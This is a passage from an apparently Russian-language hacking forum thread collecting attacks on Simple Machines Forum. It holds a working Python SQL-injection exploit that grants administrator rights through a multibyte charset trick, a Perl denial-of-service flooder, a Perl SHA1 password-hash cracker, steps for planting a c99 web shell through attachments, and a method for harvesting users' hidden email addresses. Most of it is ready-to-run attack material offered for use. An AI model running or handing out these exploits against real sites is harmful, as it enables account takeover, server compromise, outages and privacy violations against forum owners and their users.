    150.			SET NAMES $db_character_set", __FILE__, __LINE__);
    
    
    #=================================================================================================#
    # In Load.php if $db_character_set is set Smf will execute a Set Names Sql Query.      		  #
    # Directly from dev.mysql.com let's see what it means.						  #
    #												  #
    # "SET NAMES indicates what character set the client will use to send SQL statements to the       #
    # the server. Thus, SET NAMES 'cp1251' tells the server future incoming messages from this client #
    # are in character set cp1251."									  #
    #												  #
    # Ok, now let's see what $db_character_set is.							  #
    # $db_character_set is a "Settings.php variable" written only if a "Non-Default tick"	          #
    # is checked during the installation process.							  #
    # The real vulnerability is when the "Non-Default tick" is left unchecked, Smf doesn't write      #
    # it in "Settings.php" and no value is assigned to it: it's possible to set it 			  #
    # via register_globals.										  #
    # 												  #
    # Now the cool poc section =D 									  #
    # Surely you saw that preg_match avoids any injection of non-alphanumerical chars in the query    #
    # at line 150 in Load.php 	  								  #
    # So, how is possible to take advantage of that?						  #
    # To understand this vulnerability you have to comprehend some character set presents multibyte	  #
    # characters and they may obiate addslashes() function.		  	  			  #
    # Addslashes simply adds a backslash (0x5c) before single quote ('), double quote ("), 		  #
    # backslash (\) and NUL (the NULL byte), without checking if the added blackslash creates 	  #
    # another char.											  #
    # No, i'm not going mad :P Here is an example:							  #
    #												  #
    # 	   				    Bytes in Input 					  #
    #	      				        0xa327						  #
    #												  #
    #      				       Addslashes(Bytes in Input)				  #
    #    	     				       0xa35c27						  #
    # 												  #
    # In big5, but also in other multibyte charsets, 0xa35c is a valid char: 0x27 (') is left alone.  #
    # Therefore a lot of smf's queries are vulnerable if $db_character_set is settable.		  #
    # In this exploit i will inject sql code in Update syntax, increasing user's privledges.	  #
    #=================================================================================================#
    # Exploit tested on 1.1.3 and 1.1.4 Smf's versions. 						  #
    #=================================================================================================#
    # Use this exploit at your own risk. You are responsible for your own deeds.                      #
    #=================================================================================================#
    #                                      Python Exploit Starts                                      #
    #=================================================================================================#
    """
    from sys import argv, exit
    from httplib import HTTPConnection
    from urllib import urlencode, unquote
    from time import sleep
    print """
    #=================================================================#
    #  	           Simple Machines Forum <= 1.1.4                 #
    #                    Sql Injection Vulnerability                  #
    #                   Priviledge Escalation Exploit                 #
    #                                                                 #
    #               ######################################            #
    #               #  Let's get administrator rights!!! #            #
    #               ######################################            #
    #                                                                 #
    #                     Discovered By The:Paradox                   #
    #                                                                 #
    # Usage:                                                          #
    #  ./Exploit [Target] [Path] [PHPSessID] [Userid]                 #
    #                                                                 #
    # Example:                                                        #
    #  ./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9   #
    #  ./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36   #
    #=================================================================#
    """ 
    
    if len(argv)<=4: exit()
    
    
    sn = "PHPSESSID" # Session cookie name. You may have to change this.
    port = 80
    
    target = argv[1]
    path = argv[2]
    sv = argv[3]
    uid = argv[4]
    
    
    class killsmf:
    	
    	def __init__(self):
    		
    		print "[.] Exploit Starts."
    	
    		self.GetSesc()
    		self.CreateLabels()
    		self.Inject() 
    	
    		print "[+] All done.\n Now user with ID_MEMBER " + uid + " should have administrator rights. \n -= Paradox Got This One =-"
    	
    	def GetSesc(self):
    		
    		print "[+] Trying to read Sesc"	
    	
    		for i in range (0,2): 
    				conn = HTTPConnection(target,port)
    				conn.request("GET", path + "index.php?action=pm;sa=manlabels;", {}, {"Accept": "text/plain","Cookie": sn + "=" + sv + ";"})
    				rsp = conn.getresponse()
    				r = rsp.read()
    
    		if rsp.status == 404: 
    				exit ("[-] Error 404. Not Found")
    		elif r.find('<input type="hidden" name="sc" value="') != -1 and r.find('" />') != -1 : 
    				self.sesc = r.split('<input type="hidden" name="sc" value="')[1].split('" />')[0] 
    				if len(self.sesc) != 32: exit ("[-] Invalid Sesc")
    				print "[+] Sesc has been successfully read ==> "+self.sesc 
    		else: 
    				exit ("[-] Unable to find Sesc")
    
    	def CreateLabels(self):
    		print "[+] Creating three labels..."
    		for i in range (0,3): 
    				conn = HTTPConnection(target,port)
    				conn.request("POST", path + "index.php?action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label" : i, "add" : "Add+New+Label"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})
    				sleep(0.35)
    	def Inject(self):
    		print "[+] Sql code is going to be injected."
    		conn = HTTPConnection(target,port)
    		conn.request("POST", path + "index.php?debug;action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label_name[0]" : "o rly" + unquote("%a3%27"),"label_name[1]" : "ID_GROUP=1 WHERE/*", "label_name[2]" : "*/ID_MEMBER=" + uid + "/*", "save" : "Save", "sc" : self.sesc, "db_character_set": "big5"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})
    
    killsmf()	
    
    # milw0rm.com [2008-06-15]
    
    milw0rm.com [2008-06-15]
     
    #9 .Begemot., 16 Jun 2008
    Last edited by a moderator: 3 Sep 2008
    1 person likes this.
  10. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit


    SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
    http://www.simplemachines.org/

    Уязвимость заключается в неопределенном параметре $topic.
    Атакующий может определить его значение и выполнить произвольный SQL-запрос в базу данных приложения.

    Дополнительную уязвимость содержат фильтры безопасности, пропускающие внедренный атакующим запрос, составленный особым образом.

    Требуется:
    1) register_globals=ON
    2) database prefix, default "smf_"
    3) Mysql => 4.1

    c0d3d by Elekt (www.antichat.ru), 13.12.2007

    ::FAQ::

    Q1: "[-] SMF unvulnerable" - что это значит?
    A1: Если версия форума действительно <=1.1.4, 2.0Beta2 , то скорее всего
    серверная настройка - register_globals=Off - не благоприятна Вам. Ничего сделать нельзя.

    Q2: "[-] MySQL < 4.1" - что это значит?
    A2: Версия базы данных ниже требуемой.
    На самом деле проблема скорее не в версии mysql, а в некорректном синтаксисе SQL-inj.
    Мне точно не известно, почему это происходит, потому что такой проблемы не должно быть.
    Это неизвестная мне особенность конкретно взятого сервера.
    Возможно, там стоит IDS или mod_security. Так или иначе - это плохо.
    Получение данных невозможно, однако остается вариант атаки на отказ в облуживании через benchmark().
    Из соображений гуманности я не включил модуль доса форума в паблик эксплоит.

    Q3: "[-] Prefix is not correct" - что это значит?
    A3: Префикс таблиц форума отличен от стандартного.
    Необходим перебор его имени по словарю для mysql4.
    Возможно автоопределение префикса для mysql 5.х
    В паблик эксплоите функция не реализована.

    Q4: " Found error."
    A4: Найдена ошибка.
    1) Может возникнуть при нестабильном коннекте вашего интернет подключения.
    Рекомендуется перезапустить эксплоит.
    2) Также данная ошибка иногда возникает, если вы не указываете айди админа и доверяете эксплоиту определить его самостоятельно.
    Данный баг связан с различиями в структуре таблиц форума разных версий.
    Рекомендуется указывать айди админа ключом "-i".
    perl smf114expl.pl -h www.target.com -d / -i 1


    информация предоставлена с целью ознакомления
     

    Attached Files:

    #10 Elekt, 16 Jun 2008
    Last edited: 2 Sep 2008
  11. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    SMForum audio Captcha Breaking

    Существует уязвимость из-за слабой реализации звуковой капчи. В этом движке звуковая капча реализуется посредством посылания браузеру
    звукового фала в формате WAV, файл создается путем склеивания произвольным
    образом нескольких файлов с разными звуками, и служит преградой от
    автоматической регистрации новых пользователей.
    разработчики включили рандомизацию выходящего WAV файла в
    скрипте /Sources/Subs-Sound.php но она явно недостаточна, и легко обходится
    перебором байтов по заданным шаблонам звуков
    Code:
    [blah@localhost smfh]$ ./captcha.pl http://localhost/smf/ 
    nnrbv 
    created in 1.41827201843262 seconds 
    [andrey@localhost smfh]$ ./captcha.pl http://localhost/smf/ 
    vpubu 
    created in 1.49515509605408 seconds 
    [andrey@localhost smfh]$ ./captcha.pl http://localhost/smf/ 
    ntfhh 
    created in 2.31928586959839 seconds 
    [andrey@localhost smfh]$ ./captcha.pl http://localhost/smf/ 
    egudz 
    created in 0.823321104049683 seconds
    как видно перебор составляет всего одну - две секунды. Так же, существует возможность выполнения произвольного PHP кода при создании или
    редактировании сообщения форума.
     
    #11 cash$$$, 16 Jul 2008
    Last edited by a moderator: 3 Sep 2008
  12. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    SMF Upload Shell in Attachment


    В старых версиях SMF /attachments не закрыт через .htaccess (или если не настроен mod_rewrite апача)

    1) Если шифрование имени файла отключено, то:
    берем шелл(я пользовался с99) и переиминовываем его в c99.php.zip
    (не ложим в архив,а просто переиминовываем)
    Теперь загружаем его как аттачмент в любом посте
    Шелл искать в:
    Code:
    http://[target]/[path]/attachments/c99.php.zip
    2) Из админки.
    Идем в:
    Forum->Attachments and Avatars
    Добавляем php:
    Allowed attachment extensions: jpg,php
    Отключаем шифрование имени:
    Encrypt stored filenames: [ ]

    Далее аналогично 1) за исключением переименования.
     
    #12 OptimaPrime, 23 Jul 2008
    Last edited by a moderator: 3 Sep 2008
  13. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    smf 1.1.2-1.1.3 php injection

    Да, да это я про :
    в общем времени достаточно прошло чтобы все было уже пропатчено , так что выкладывается в паблик )
    файлик Sources/Subs-Post.php
    PHP:
     // Make sure all tags are lowercase.

                
    $parts[$i] = preg_replace('~\[([/]?)(list|li|table|tr|td)([^\]]*)\]~e''"[$1" . strtolower("$2") . "$3]"'$parts[$i]);  
     
    #13 ShAnKaR, 23 Jul 2008
    Last edited: 12 Aug 2008
    1 person likes this.
  14. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    SMF 1.1.4 Search DOS

    Code:
    #!/usr/bin/perl
    use IO::Socket;
    print q{
    .____ ________ .__ ________________
    | | \_____ \__ __ ____ | | / _____/ __ \
    | | _(__ < \/ // __ \| | ______ / __ \\____ /
    | |___ / \ /\ ___/| |__ /_____/ \ |__\ \ / /
    |_______ \/______ /\_/ \___ >____/ \_____ / /____/
    \/ \/ \/ \/
    _______ _______ _______ ______ _______ _______
    ( ____ \( )( ____ \ ( __ \ ( ___ )( ____ \
    | ( \/| () () || ( \/ | ( \ )| ( ) || ( \/
    | (_____ | || || || (__ | | ) || | | || (_____
    (_____ )| |(_)| || __) | | | || | | |(_____ )
    ) || | | || ( | | ) || | | | ) |
    /\____) || ) ( || ) | (__/ )| (___) |/\____) |
    \_______)|/ \||/ (______/ (_______)\_______)
    /**********************************************************\
    | SMF 1.1.4 Search DOS |
    | |Petros| |
    | www.fallen-empires.com |
    | www.l3vel-69.net |
    \**********************************************************/
    };
    $rand=rand(10);
    print "Forum Host: ";
    $serv = <stdin>;
    chop ($serv);
    print "Path To Search2: ";
    $path = <stdin>;
    chop ($path);
    print "Times To Search: ";
    $times = <stdin>;
    chop ($times);
    
    for ($i=0; $i<$times; $i++)
    {
    
    $quiry="l3vel69-".$rand.$i;
    $form = "search=1234567899876544321&submit=Search&advanced=0";
    
    $len = length $form;
    $get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Can't Connect Host, it may be ddos'ed already.";
    print $get1 "POST ".$path." HTTP/1.0\n";
    print $get1 "Host: ".$serv."\n";
    print $get1 "Content-Type: application/x-www-form-urlencoded\n";
    print $get1 "Content-Length: ".$len."\n\n";
    print $get1 $form;
    syswrite STDOUT, "69";
    }
    print "Forum should be Dosed. Check it out...if not use a higher search\n";
     
  15. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    SMF 1.1.5 Password Cracker

    Code:
    #!/usr/bin/perl
    #
    # Simple Machines Forum v1.1.4/v1.1.5 password hash cracker
    # not some hack tool you kid. 
    # Quickly coded, feel free to improve
    #
    # Iron
    # http://www.randombase.com
    # or better: http://www.perlforums.org
    #
    use Digest::SHA1 'sha1_hex';
    print "
    Simple Machines Forum v1.1.4/v1.1.5 password hash cracker
    by Iron - http://www.randombase.com / http://www.perlforums.org
    
    Menu..
    1. Numeric attack
    2. Alphabetic attack or whatever
    3. Mix 'em up Johnny
    4. Dictionary attack
    < Choice > ";
    chomp($c=<stdin>);
    print "[+]Username of the target: ";
    chomp($u=lc(<stdin>));
    print "[+]Password hash of the target: ";
    chomp($p=<stdin>);
    print "[+]Cracking... could take a while";
    if($c eq '1')
    {
    	numeric();
    }
    elsif($c eq '2')
    {
    	alpha();
    }
    elsif($c eq '3')
    {
    	mix();
    }
    elsif($c eq '4')
    {
    	dict();
    }
    
    sub numeric
    {
    	$i = 0;
    	while(sha1_hex($u.$i) ne $p){$i++;}
    	print "\n[+]Sweet! Found the password: ".$i;
    }
    sub alpha
    {
    	for($i = "a";$i ne "zzzzzzz" && sha1_hex($u.$i) ne $p;$i++){}
    	print "\n[+]Sweet! Found the password: ".$i;
    }
    sub mix
    {
    	print "Not finished. Yet.";
    }
    sub dict # needs some cleaning to make it faster
    {
    	print "\n[+]I'll need a dictionary though, care to give its filename? ";
    	chomp($dict=<stdin>);
    	open(d,"<".$dict);
    	$found = 0;
    	while(($line = <d>))
    	{
    		chomp($line);
    		if(sha1_hex($u.$line) eq $p)
    		{
    			print "[+]Sweet! Found the password: ".$line;
    			$found = 1; next;
    		}
    	}
    		if(!$found)
    		{
    			print "[-]Not sweet. I couldn't find the password in your dictionary.";
    		}
    }
     
  16. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Узнаем мыло пользователя Smf (любая версия) через Rss

    Узнаем мыло пользователя SMF (любая версия) через RSS


    Вот нашел небольшой баг в SMF, позволяющий узнать мыльник юзера SMF. Например ты смотришь профайл какого-то юзера, и видишь: E-mail: скрытый. Так вот, ты можешь узнать его мыло!

    Для чего это надо?
    Это уже в ваших целях.


    Итак, начнем. Качаем любой браузер, который поддерживает чтение RSS новостей; я использую Opera. Переходим на наш форум, и видим в строке адреса:

    [​IMG]

    Нас интересует то, что возле стрелки. Это и есть подписка на новости. Т.е. если на форуме кто-то напишет сообщение, оно сразу же появиться в меню "Каналы новостей".

    После нажатия на значок RSS, ждем порядка 10 секунд, и видим:

    [​IMG]

    Жмем "Да". Видим, у нас появилась меню "Каналы новостей", кликаем по нему, выбираем название форума. Все, теперь осталось только ждать, когда кто-то напишет сообщение.

    Написал? - Можете радоваться. Видим это:

    [​IMG]

    Вот и все, ребята. Используйте мыло в своих целях.

    PS: Прошу строго не судить, так как эт мое первое творение.
     
    #16 mailbrush, 9 Aug 2008
    Last edited: 9 Aug 2008
    2 people like this.
  17. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Криптографическая атака на Smf

    Криптографическая атака на SMF
    Заслуживает внимания.

    _http://forum.antichat.ru/thread81052.html
     
    #17 Elekt, 1 Sep 2008
    Last edited: 2 Sep 2008
  18. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Simple Machines Forum <= 1.1.5 Admin Reset Password Exploit (win32)

    Смена пароля любого пользователя в SMF <=1.1.5

    Обнаружил уязвимость, которая позволяет сменить пароль любому пользователю форума, в том числе администратору, через систему восстановления пароля, не имея доступа к почтовому ящику атакуемого пользователя. Она возможна благодаря предсказуемости кода подтверждения для смены пароля, который генерируется с помощью функции rand().
    Уязвимость актуальна, если веб-приложение установлено на платформе win32.

    http://milw0rm.com/exploits/6392
     
    6 people like this.
  19. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    http://milw0rm.com/exploits/6665
     
    _________________________
    1 person likes this.
  20. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Simple Machines Forum (SMF) 1.1.6 Remote Code Execution Exploit
    Автор: Charles FOL

    Загрузка gzip-архива с валидным модулем SMF, содержащим шелл, через атачменты форума,
    а затем непреднамеренная установка этого модуля администратором с помощью CSRF-уязвимости (тэг )[/B]

    http://real.olympe-network.com/releases/19817
     
    #20 [Raz0r], 5 Nov 2008
    Last edited: 7 Nov 2008